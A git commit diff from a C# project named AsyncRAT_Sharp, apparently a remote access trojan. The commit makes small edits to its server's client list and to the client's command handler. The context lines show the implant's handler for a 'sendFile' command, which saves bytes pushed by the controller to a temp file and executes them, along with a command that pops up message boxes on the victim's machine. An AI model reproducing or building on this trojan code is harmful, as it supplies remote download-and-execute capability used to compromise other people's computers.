This commit is contained in:
NYAN CAT 2019-02-03 10:31:39 -08:00
parent 7481c1a1eb
commit e862a38336
2 changed files with 2 additions and 2 deletions

View File

@ -98,7 +98,6 @@ namespace AsyncRAT_Sharp
{
Clients CL = (Clients)C.Tag;
ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
CL.LV.ForeColor = Color.Orange;
}
}
}

View File

@ -173,13 +173,13 @@ namespace Client
{
try
{
Received();
MsgPack unpack_msgpack = new MsgPack();
unpack_msgpack.DecodeFromBytes((byte[])Data);
switch (unpack_msgpack.ForcePathObject("Packet").AsString)
{
case "sendMessage":
{
Received();
MessageBox.Show(unpack_msgpack.ForcePathObject("Message").AsString);
}
break;
@ -192,6 +192,7 @@ namespace Client
case "sendFile":
{
Received();
string FullPath = Path.GetTempFileName() + unpack_msgpack.ForcePathObject("Extension").AsString;
unpack_msgpack.ForcePathObject("File").SaveBytesToFile(FullPath);
Process.Start(FullPath);